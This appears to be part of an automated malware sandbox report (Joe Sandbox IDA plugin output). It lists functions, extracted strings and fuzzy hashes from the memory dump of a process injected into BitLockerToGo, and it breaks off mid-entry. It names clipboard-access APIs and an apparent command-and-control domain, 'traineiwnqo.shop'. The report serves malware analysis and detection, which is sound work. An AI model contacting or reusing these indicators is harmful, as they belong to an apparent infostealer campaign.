GetWindowLongW.USER32 ref: 00429336
GetClipboardData.USER32 ref: 00429346
GlobalLock.KERNEL32 ref: 00429365
GlobalUnlock.KERNEL32 ref: 0042944D
CloseClipboard.USER32 ref: 00429453

Strings

#, xrefs: 004293BE
}, xrefs: 004293CE
G, xrefs: 0042939A

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: Clipboard$Global$CloseDataLockLongOpenUnlockWindow
String ID: #$G$}
API String ID: 2832541153-3315264962
Opcode ID: d07525dd3f4f61e4dad741b94980fcfc95e4c09087b10dfe6988b2c5b9df2585
Instruction ID: 9ec54c6f304c2a59cb3b4f9788fd342170c61fb83a0088559bb0976fe49f8e5f
Opcode Fuzzy Hash: d07525dd3f4f61e4dad741b94980fcfc95e4c09087b10dfe6988b2c5b9df2585
Instruction Fuzzy Hash: BE41A570D08395CEDB00EBBC98487AEBFB0AB59314F14462DE4D5A72C1D7384945C76B

Function 00413A4A Relevance: 14.0, Strings: 10, Instructions: 1543COMMON

Download Yara Rule

Strings

de, xrefs: 00414F3D
*, xrefs: 00413F71
01, xrefs: 00414657
RCA, xrefs: 00414342
Ry, xrefs: 00414CE6
ZPZi, xrefs: 00413A6D
AA, xrefs: 004144D2
4`[b, xrefs: 00413F20
Xy, xrefs: 00414038
RXRQ, xrefs: 00413A5D

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: *$01$4`[b$AA$RCA$RXRQ$Ry$Xy$ZPZi$de
API String ID: 0-1081523222
Opcode ID: f5b040ef43d8e7db7299446762f8f87dd3c8d710fa4c0caa6630eec9205990da
Instruction ID: dd6156239c298a2191a67d888e2721898999a4e530a3facafc6cc9b0d98c7050
Opcode Fuzzy Hash: f5b040ef43d8e7db7299446762f8f87dd3c8d710fa4c0caa6630eec9205990da
Instruction Fuzzy Hash: 24A2A9B15083408FD314DF18D891AABBBF1EF96314F14892DE4D987392E339A945CB9B

Function 0040B900 Relevance: 12.9, Strings: 10, Instructions: 394COMMON

Download Yara Rule

Strings

`?l=, xrefs: 0040BB95
E'I%, xrefs: 0040BBA9
O7d5, xrefs: 0040BB81
}E, xrefs: 0040B905
d3`1, xrefs: 0040BB8B
_^], xrefs: 0040BBE5
7k8i, xrefs: 0040B9EA
N#M!, xrefs: 0040BBB3
w{, xrefs: 0040BB1D
}+q), xrefs: 0040BBC7

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: _^]$7k8i$E'I%$N#M!$O7d5$`?l=$d3`1$w{$}+q)$}E
API String ID: 0-904053982
Opcode ID: 836f281b5a09bcf819769e177f2016d7f31954a4eeda31fad278403dee135d54
Instruction ID: 3e55397636059ab87dd9fa10306cbdeb5adb12d26f8bd97fda3331d1fabe30ee
Opcode Fuzzy Hash: 836f281b5a09bcf819769e177f2016d7f31954a4eeda31fad278403dee135d54
Instruction Fuzzy Hash: 26F123B1201B418FD3248F26D895B97BBF6FB95314F108A2DD5AA8BAA0C774B405CF84

Function 00414770 Relevance: 11.1, Strings: 8, Instructions: 1070COMMON

Download Yara Rule

Strings

de, xrefs: 00414F3D
01, xrefs: 00414657
Ry, xrefs: 00414CE6
V, xrefs: 004149E1
AA, xrefs: 004144D2
DKA, xrefs: 00414762
n, xrefs: 0041495A
tu, xrefs: 004149DA

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 01$AA$DKA$Ry$V$de$n$tu
API String ID: 0-693970191
Opcode ID: 1e6b8a6ab5f119dc66f673421341656ae9e1f5a3d29f7337be2d8416101ab885
Instruction ID: e112c6e9030b187760a1f9b7a10ed6f3aa6816029de3eab4fbb7c82cec69621e
Opcode Fuzzy Hash: 1e6b8a6ab5f119dc66f673421341656ae9e1f5a3d29f7337be2d8416101ab885
Instruction Fuzzy Hash: 8E7288B010C3808BD315DF29D4906ABBBE1EFD6314F188A2DE0D58B392D3799945CB9B

Function 00402410 Relevance: 10.6, Strings: 8, Instructions: 597COMMON

Download Yara Rule

Strings

{, xrefs: 00402692
false, xrefs: 0040253A
[, xrefs: 004027B8
null, xrefs: 004025DD
., xrefs: 004024B6
0, xrefs: 004024B0
true, xrefs: 00402522
., xrefs: 004024DB

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: .$.$0$[$false$null$true${
API String ID: 0-1639024219
Opcode ID: 1e40ec5799c3cb1fa2d07a8a6d6ae5c44b8af64e64a55e43d10cc7d61bc85e42
Instruction ID: 5c59ee5253373d1b3d0a09760561934a645b09c01d06867b76f68254400d4cca
Opcode Fuzzy Hash: 1e40ec5799c3cb1fa2d07a8a6d6ae5c44b8af64e64a55e43d10cc7d61bc85e42
Instruction Fuzzy Hash: 0612E8B06043059BEB209F25DE497277BE4AF50308F14843EE889663D3E7BDD915CB5A

Function 0041BB22 Relevance: 10.6, Strings: 8, Instructions: 555COMMON

Download Yara Rule

Strings

\3B1, xrefs: 0041BC41
4`[b, xrefs: 0041BBF0
T+Z), xrefs: 0041BC9E
@7n5, xrefs: 0041BC4C
4`[b, xrefs: 0041C200
, xrefs: 0041C1EA, 0041C1B6
X/^-, xrefs: 0041BC36
4;, xrefs: 0041BC57

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 4;$4`[b$4`[b$@7n5$T+Z)$X/^-$\3B1$
API String ID: 0-1041528942
Opcode ID: a5018a5415ba95ba1ac34e472a1f41f3bc5059276625cd41686ac534863dfa50
Instruction ID: 40aeae7b15fbc002c6c087d185838e56929a330030470cbfe4d56a0099acd905
Opcode Fuzzy Hash: a5018a5415ba95ba1ac34e472a1f41f3bc5059276625cd41686ac534863dfa50
Instruction Fuzzy Hash: B5129871508381CBD728CF28D8906ABB7E2FF89700F54892EE5D687361D739D945CB8A

Function 00433C40 Relevance: 8.3, Strings: 6, Instructions: 836COMMON

Download Yara Rule

Strings

2DC, xrefs: 0043441F
?DC, xrefs: 004343C2
b=C, xrefs: 00433CB4
?DC, xrefs: 004343B9
2?C, xrefs: 00433F28
s, xrefs: 004342D6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2?C$2DC$?DC$?DC$b=C$s
API String ID: 0-3216349216
Opcode ID: 2957658eb7a28c01f06add96b2220fb2f7b090400a39ba8e475c5e7880fe8998
Instruction ID: 80944fd1b58fbf1ed20fd57652ff65be2a921dc111aa1d9d80fd5dc4b684d0d7
Opcode Fuzzy Hash: 2957658eb7a28c01f06add96b2220fb2f7b090400a39ba8e475c5e7880fe8998
Instruction Fuzzy Hash: EC42EE35609350CFD704DF29E88065AB7E2FF8A315F0A99BDD989973A1C335E811CB86

Function 0040B310 Relevance: 7.9, Strings: 6, Instructions: 430COMMON

Download Yara Rule

Strings

3xk4E.2nDymKStRO43vRDjy22JgE06_vJkNrLPyvrcg-1725131410-0.0.1.1-/api, xrefs: 0040B827, 0040B844
oj, xrefs: 0040B56D
}E, xrefs: 0040B313
], xrefs: 0040B607
.'&!, xrefs: 0040B476
`, xrefs: 0040B32E

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: .'&!$3xk4E.2nDymKStRO43vRDjy22JgE06_vJkNrLPyvrcg-1725131410-0.0.1.1-/api$`$oj$}E$]
API String ID: 0-127140058
Opcode ID: 58d3ce9d94dca4fdd1c34d492e9603c3b94567c6082ebc1104ccb9c9d6b9308d
Instruction ID: 7e865cd44222f29e0d9a5325266bc1132d819a284a002b31135377d2b5314aa7
Opcode Fuzzy Hash: 58d3ce9d94dca4fdd1c34d492e9603c3b94567c6082ebc1104ccb9c9d6b9308d
Instruction Fuzzy Hash: DCE1487150C3808BD315DF19C090A2BBBE6EFD5758F188A2EE4D96B391C3399845CB9B

Function 00414420 Relevance: 7.0, Strings: 5, Instructions: 760COMMON

Download Yara Rule

Strings

de, xrefs: 00414F3D
01, xrefs: 00414657
Ry, xrefs: 00414CE6
AA, xrefs: 004144D2
DKA, xrefs: 00414762

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 01$AA$DKA$Ry$de
API String ID: 0-704665975
Opcode ID: 4c1f138457035d6c68107879cacb97b4618c473f1e292c676f9d17441937d413
Instruction ID: 7a63c887bc984d353d46c6970a4e86c657c5a9b5c62fbb192a04889d909e87f5
Opcode Fuzzy Hash: 4c1f138457035d6c68107879cacb97b4618c473f1e292c676f9d17441937d413
Instruction Fuzzy Hash: 4C4287B010C3408BD314DF19D491A6BBBE2EFD6318F188A2DE0D58B392D3799955CB9B

Function 00433D90 Relevance: 7.0, Strings: 5, Instructions: 732COMMON

Download Yara Rule

Strings

2DC, xrefs: 0043441F
?DC, xrefs: 004343C2
?DC, xrefs: 004343B9
2?C, xrefs: 00433F28
s, xrefs: 004342D6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2?C$2DC$?DC$?DC$s
API String ID: 0-1385918893
Opcode ID: f7940c1518a3a3a429de3a5d0fdf5f1f29b732de15425d724eaf1b30b994ff7b
Instruction ID: 5b127b14689e9a1d6929d74740d33df50b51b45a3ed6347e7c51f1007d9c9e5c
Opcode Fuzzy Hash: f7940c1518a3a3a429de3a5d0fdf5f1f29b732de15425d724eaf1b30b994ff7b
Instruction Fuzzy Hash: D132BB35609350CFD304DF29E89065EB7E2EF8A315F0999ADD989973A1C335E811CB86

Function 0041A330 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 469COMMON

Download Yara Rule

Strings

yfg, xrefs: 0041A4CE
V9l?, xrefs: 0041A9B1, 0041A8B6, 0041A9C0

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: V9l?$yfg
API String ID: 0-2481908295
Opcode ID: e844857b6ce0ab3b4f900debbf1dc01e84ef004047b65286bd97edf8e4da22a0
Instruction ID: 6dd91e7d3ff7c0a30cf73c66be5701c5a7b0132e8119057b69ca19cee304d995
Opcode Fuzzy Hash: e844857b6ce0ab3b4f900debbf1dc01e84ef004047b65286bd97edf8e4da22a0
Instruction Fuzzy Hash: BB022FB410D3809BD300EF19D880A2ABBF1EF96748F14491DF5C98B3A1D3789991CB9B

Function 00419A1F Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 445COMMON

Download Yara Rule

Strings

, xrefs: 00419B7E, 00419B46
, xrefs: 00419DFF, 00419DC8

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: $
API String ID: 0-1425349742
Opcode ID: fc6a758fadca9737716de0051168731e12818896d3889ea87bf2eac23d32ce8e
Instruction ID: 072e0d79e7c42b1eb3a57f06931f97969741f2a2807d5e99c93f880bdf866171
Opcode Fuzzy Hash: fc6a758fadca9737716de0051168731e12818896d3889ea87bf2eac23d32ce8e
Instruction Fuzzy Hash: 79E1BA71608306DFD704CF28D8907AAB3E6FF89310F09897DE985872A1D738E955CB85

Function 00433F40 Relevance: 5.6, Strings: 4, Instructions: 638COMMON

Download Yara Rule

Strings

2DC, xrefs: 0043441F
?DC, xrefs: 004343C2
?DC, xrefs: 004343B9
s, xrefs: 004342D6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2DC$?DC$?DC$s
API String ID: 0-327821026
Opcode ID: 159601a5c20176f9849a8d1fa8bc2623efffbc4aa3cd89c8c62b0c8b237ce1b6
Instruction ID: be0f7da86291363fd3d0abb89f81f45c0b506050416a6cc7d85ac79a39c188bd
Opcode Fuzzy Hash: 159601a5c20176f9849a8d1fa8bc2623efffbc4aa3cd89c8c62b0c8b237ce1b6
Instruction Fuzzy Hash: 6712DC35609350CFD304DF29E88065EB7E2FF8A315F0999ADE98987391C335E815CB86

Function 00434030 Relevance: 5.6, Strings: 4, Instructions: 590COMMON

Download Yara Rule

Strings

2DC, xrefs: 0043441F
?DC, xrefs: 004343C2
?DC, xrefs: 004343B9
s, xrefs: 004342D6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2DC$?DC$?DC$s
API String ID: 0-327821026
Opcode ID: 85031cf8acefe96eba258264f97220992697cf902fb531b5b6dfbd7f26fc22f5
Instruction ID: 7efa371459fe7c05da783cf2b2b2d3273da10793bef3e7687d72e8751e7a08f6
Opcode Fuzzy Hash: 85031cf8acefe96eba258264f97220992697cf902fb531b5b6dfbd7f26fc22f5
Instruction Fuzzy Hash: 1712BA35609350CFD704DF29E88065EB7E2EF8A314F0999ADE9C997392C335E815CB86

Function 00434110 Relevance: 5.6, Strings: 4, Instructions: 556COMMON

Download Yara Rule

Strings

2DC, xrefs: 0043441F
?DC, xrefs: 004343C2
?DC, xrefs: 004343B9
s, xrefs: 004342D6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2DC$?DC$?DC$s
API String ID: 0-327821026
Opcode ID: d8757200fffb245845b533aaa383fbe3780f766114fd9115fcad59d214e14e3f
Instruction ID: 0fc31a3e566fe26334864a807a30ca6bd604d6e39edd27a38e5d5b831c862a8b
Opcode Fuzzy Hash: d8757200fffb245845b533aaa383fbe3780f766114fd9115fcad59d214e14e3f
Instruction Fuzzy Hash: 3D02CA31608350CFD704DF29D89066EB7E2EF8A314F099A6DE9C997391C335E815CB8A

Function 004335D2 Relevance: 5.5, Strings: 4, Instructions: 495COMMON

Download Yara Rule

Strings

R:C, xrefs: 00433A40
/;C, xrefs: 00433A93
`8C, xrefs: 00433AC5
s, xrefs: 004338C6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: /;C$R:C$`8C$s
API String ID: 0-1280230338
Opcode ID: 9dfaa6e602e47136cbf600a475ec0ca75de5ea6a0cb0220fd319a15ccf8e5663
Instruction ID: db972f95e1eaf7e6f153578093b352d2cdc8bd2e117a66f08ed305abeba2462c
Opcode Fuzzy Hash: 9dfaa6e602e47136cbf600a475ec0ca75de5ea6a0cb0220fd319a15ccf8e5663
Instruction Fuzzy Hash: B4020576E04511CFCB08CF68E8916AEBBB2FF89311F299179D851AB391C735AD01CB94

Function 0041CA10 Relevance: 5.4, Strings: 4, Instructions: 413COMMON

Download Yara Rule

Strings

4`[b, xrefs: 0041CFD0
LP, xrefs: 0041CC37, 0041CC06, 0041CC41
qs, xrefs: 0041CB94
4`[b, xrefs: 0041CDB0

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b$4`[b$LP$qs
API String ID: 0-2630338501
Opcode ID: 388bdd4dfe294b1c22f6c3b8cb9a7b69a8772f876b8f910b4e339b90a3291543
Instruction ID: 78cec6447725230fa3eb2fa9609e048c3993b9aa3b33d216afbdf4eefedb7f7c
Opcode Fuzzy Hash: 388bdd4dfe294b1c22f6c3b8cb9a7b69a8772f876b8f910b4e339b90a3291543
Instruction Fuzzy Hash: E6F18AB0108340DFE724CF19E991B6BBBE1FB85304F50992DE6C587291DB35A855CB8A

Function 00433BA8 Relevance: 5.3, Strings: 4, Instructions: 282COMMON

Download Yara Rule

Strings

R:C, xrefs: 00433A40
/;C, xrefs: 00433A93
`8C, xrefs: 00433AC5
s, xrefs: 004338C6

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: /;C$R:C$`8C$s
API String ID: 0-1280230338
Opcode ID: 655f8fccaf15fb722dad6641eb2e78eeb8ac140a87eebf10034085affa85c96c
Instruction ID: 6a2340be98cd46c8efa987ddef37cc2cddfc62bdec8a015cf6f27d5ec7d7eaf9
Opcode Fuzzy Hash: 655f8fccaf15fb722dad6641eb2e78eeb8ac140a87eebf10034085affa85c96c
Instruction Fuzzy Hash: B5A1C176E14115CFCB08CF68E8916AEB7B2FF8D311F299179D811AB391C735A942CB84

Function 004235B0 Relevance: 4.8, Strings: 3, Instructions: 1098COMMON

Download Yara Rule

Strings

"20:, xrefs: 00424042
jzz, xrefs: 004241D8
5SB, xrefs: 00424360, 004243F0

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "20:$5SB$jzz
API String ID: 0-1037800694
Opcode ID: 07d5ec38c7bcea506c04034ebbcbd86039c00acd1115c92eee2ac9dc12ebf5f1
Instruction ID: e6a2a71cc1bd430bb600a33f9cd51ecc461c738ffeae1532bc2bf40bf5be89e0
Opcode Fuzzy Hash: 07d5ec38c7bcea506c04034ebbcbd86039c00acd1115c92eee2ac9dc12ebf5f1
Instruction Fuzzy Hash: 1F82DA70204B928BD3248F39D4947A3BBF1AF52305F584A6ED4EB8B792D33DA505CB58

Function 0040E20B Relevance: 4.6, Strings: 3, Instructions: 899COMMON

Download Yara Rule

Strings

2, xrefs: 0040EB2B
@, xrefs: 0040E791
EI, xrefs: 0040E85E

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2$EI$@
API String ID: 0-1402357096
Opcode ID: 7299bc72a297ea20628d2e9cd59941680b863bb9bb70c54d7e49d85cb37a9e6a
Instruction ID: 4370179656a6890dc68f3290907031d94b138505fc62ba20085aa00ee52d8d14
Opcode Fuzzy Hash: 7299bc72a297ea20628d2e9cd59941680b863bb9bb70c54d7e49d85cb37a9e6a
Instruction Fuzzy Hash: E26278B15083408BD314EF29D890B5FBBE5AF96304F040D2EE5C5972A2E73AD865CB5B

Function 00419040 Relevance: 4.2, Strings: 3, Instructions: 460COMMON

Download Yara Rule

Strings

, xrefs: 004194CE, 00419496
4`[b, xrefs: 004194E0
(), xrefs: 00419062

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: ()$4`[b$
API String ID: 0-3545647141
Opcode ID: 42f7456d711a5a77c75534867108c93f3e66ba327a4a65dc3f19896d9b8c8b38
Instruction ID: ff6047f10b3e7aacfcc98422c9f2e52bc137357e4b7c328f5d85b9b8f3abbfe8
Opcode Fuzzy Hash: 42f7456d711a5a77c75534867108c93f3e66ba327a4a65dc3f19896d9b8c8b38
Instruction Fuzzy Hash: B9D1B2716082009BD714DF19C8A1B6BB7F1EF99754F08891EE8C587391E339ED81CB5A

Function 0041F7B2 Relevance: 4.0, Strings: 3, Instructions: 247COMMON

Download Yara Rule

Strings

L^, xrefs: 0041F8B6
4`[b, xrefs: 0041FAA0
{E, xrefs: 0041F85E

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 4`[b$L^${E
API String ID: 0-205994047
Opcode ID: ab5861d999dff799b5744bdd94a0447dcd8cc80f858cd187eef36c239924e4a2
Instruction ID: 7d5f20c2f7228d7d7236174fc6c81315b3c11ce4c74f9500d7428e768866b440
Opcode Fuzzy Hash: ab5861d999dff799b5744bdd94a0447dcd8cc80f858cd187eef36c239924e4a2
Instruction Fuzzy Hash: 5181AB70508341DBE314DF18D890B6BB3B2FF85344F14992DE989872A1E778A855CB9A

Function 00401618 Relevance: 3.3, Strings: 2, Instructions: 845COMMON

Download Yara Rule

Strings

pC, xrefs: 0040191A, 0040196F, 004019C2, 0040216D, 0040219A, 004023B4, 00402109, 00401F6A, 00401FDE, 00401A9E, 00401A3D
pC, xrefs: 004016D0

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: pC$pC
API String ID: 0-1741592910
Opcode ID: 9a1a31c72b29650397bf7deaf79bca70ee864a2f975d4fb86e0b4d05c95e7754
Instruction ID: 1aba1b62fe6d5247060263ada30d654aa019256d3ec320f5ad251fbbe2a450d3
Opcode Fuzzy Hash: 9a1a31c72b29650397bf7deaf79bca70ee864a2f975d4fb86e0b4d05c95e7754
Instruction Fuzzy Hash: 7D62303AA18195CFDB048F78E8A13EAB7F2BB5A311F0C94B5C590933A1C3789A55CF54

Function 004061F0 Relevance: 3.3, Strings: 2, Instructions: 796COMMON

Download Yara Rule

Strings

8, xrefs: 00406B1A
0, xrefs: 00406B22

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: 0435f3538a8559778474a4fb365cdd28809749da175b3a1777f59edcaa833196
Instruction ID: e44d188f2691eb329e2fcd9be1f0dab1ccde9638a00b0bc5b13d5e102431d145
Opcode Fuzzy Hash: 0435f3538a8559778474a4fb365cdd28809749da175b3a1777f59edcaa833196
Instruction Fuzzy Hash: 6B7258716083409FD714CF18C880B9BBBE1BF88314F55892EF98A9B391D379D958CB96

Function 0040D978 Relevance: 3.2, Strings: 2, Instructions: 672COMMON

Download Yara Rule

Strings

traineiwnqo.shop, xrefs: 0040DF26
OM, xrefs: 0040DE05

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: MetricsSystem
String ID: traineiwnqo.shop$OM
API String ID: 4116985748-528943683
Opcode ID: b728a634c078d0a89bd3c497fd42067704e2a79c045c36025228c2162414b7ab
Instruction ID: 7203abc0895e22b010cafa7de48a35fee8694d0ce421661dfcf0d312008777a1
Opcode Fuzzy Hash: b728a634c078d0a89bd3c497fd42067704e2a79c045c36025228c2162414b7ab
Instruction Fuzzy Hash: 3C2201B46046818FE325CF29D491A26FBF2FF5A304B18496DD0C28B792D739E845CBD9

Function 00411CDA Relevance: 3.1, Strings: 2, Instructions: 556COMMON

Download Yara Rule

Strings

Tu[w, xrefs: 00411E11
2, xrefs: 00411FF1

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: 2$Tu[w
API String ID: 0-1296751759
Opcode ID: df3bd4eaf6003bf32da01b1b4ae2924b84bb03758ef5ebe527204979e1053bdb
Instruction ID: f9c6298aeb404d0095fc6a7dfa5a3fe0d385e261630af42810e495b367b42691
Opcode Fuzzy Hash: df3bd4eaf6003bf32da01b1b4ae2924b84bb03758ef5ebe527204979e1053bdb
Instruction Fuzzy Hash: BA0266B06093419BD714CF14D49076BBBF2EF86388F58992DE5C987361E339E885CB4A

Function 00420E60 Relevance: 3.0, Strings: 2, Instructions: 488COMMON

Download Yara Rule

Strings

", xrefs: 0042130D
", xrefs: 00421254

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: "$"
API String ID: 0-3758156766
Opcode ID: 394b7df4ae36b0861bcf7c6aed455d38e0f295583bf2030b1c4f6209659d3c1f
Instruction ID: 7e193ea918f45b2c52e26e6636be87b9239a8bd7ee15fd7d1f1157bae2619bf9
Opcode Fuzzy Hash: 394b7df4ae36b0861bcf7c6aed455d38e0f295583bf2030b1c4f6209659d3c1f
Instruction Fuzzy Hash: 1FF17B71B083218FD714CE24D48072BB7E6AF94354F598A2FE895873A2D738DD49C786

Function 00405780 Relevance: 2.9, Strings: 2, Instructions: 429COMMON

Download Yara Rule

Strings

), xrefs: 00405803
IEND, xrefs: 00405BDD

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: )$IEND
API String ID: 0-707183367
Opcode ID: f8d2d55e293783aefb695f2a6e1aceb8a0cbd75d5354af6212a3ed4ba1738dcf
Instruction ID: bca1032bbc65deb52283aa6c9a221f74089e829b345dc8bf92daa062bbf991b6
Opcode Fuzzy Hash: f8d2d55e293783aefb695f2a6e1aceb8a0cbd75d5354af6212a3ed4ba1738dcf
Instruction Fuzzy Hash: D4F1AD71A08B01ABE314DF25C89571BBBE0EB84304F14853EE995A73C2D778E914CB96

Function 004197B7 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

, xrefs: 0041983E, 00419816
q, xrefs: 00419902

Memory Dump Source

Source File: 00000001.00000002.1797583721.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID:
String ID: q$
API String ID: 0-2085942699
Opcode ID: fb27c3b23caaed9c678c5b09804921665eec9b174692116d7bf1f1f54cedaad7
Instruction ID: 1538de96dd693107ccc46b8f1f31662cef0ddde731d9de16e39e92de7b3e2983
Opcode Fuzzy Hash: fb27c3b23caaed9c678c5b09804921665eec9b174692116d7bf1f1f54cedaad7
Instruction Fuzzy Hash: 6C5176B02183809FD354DF18D8A062BBBE1FF86701F145A2EE1D18B3A1C3399891CB4A

Function 00401AD5 Relevance: 1.9, Strings: 1, Instructions: 674COMMON

Download Yara Rule

Strings

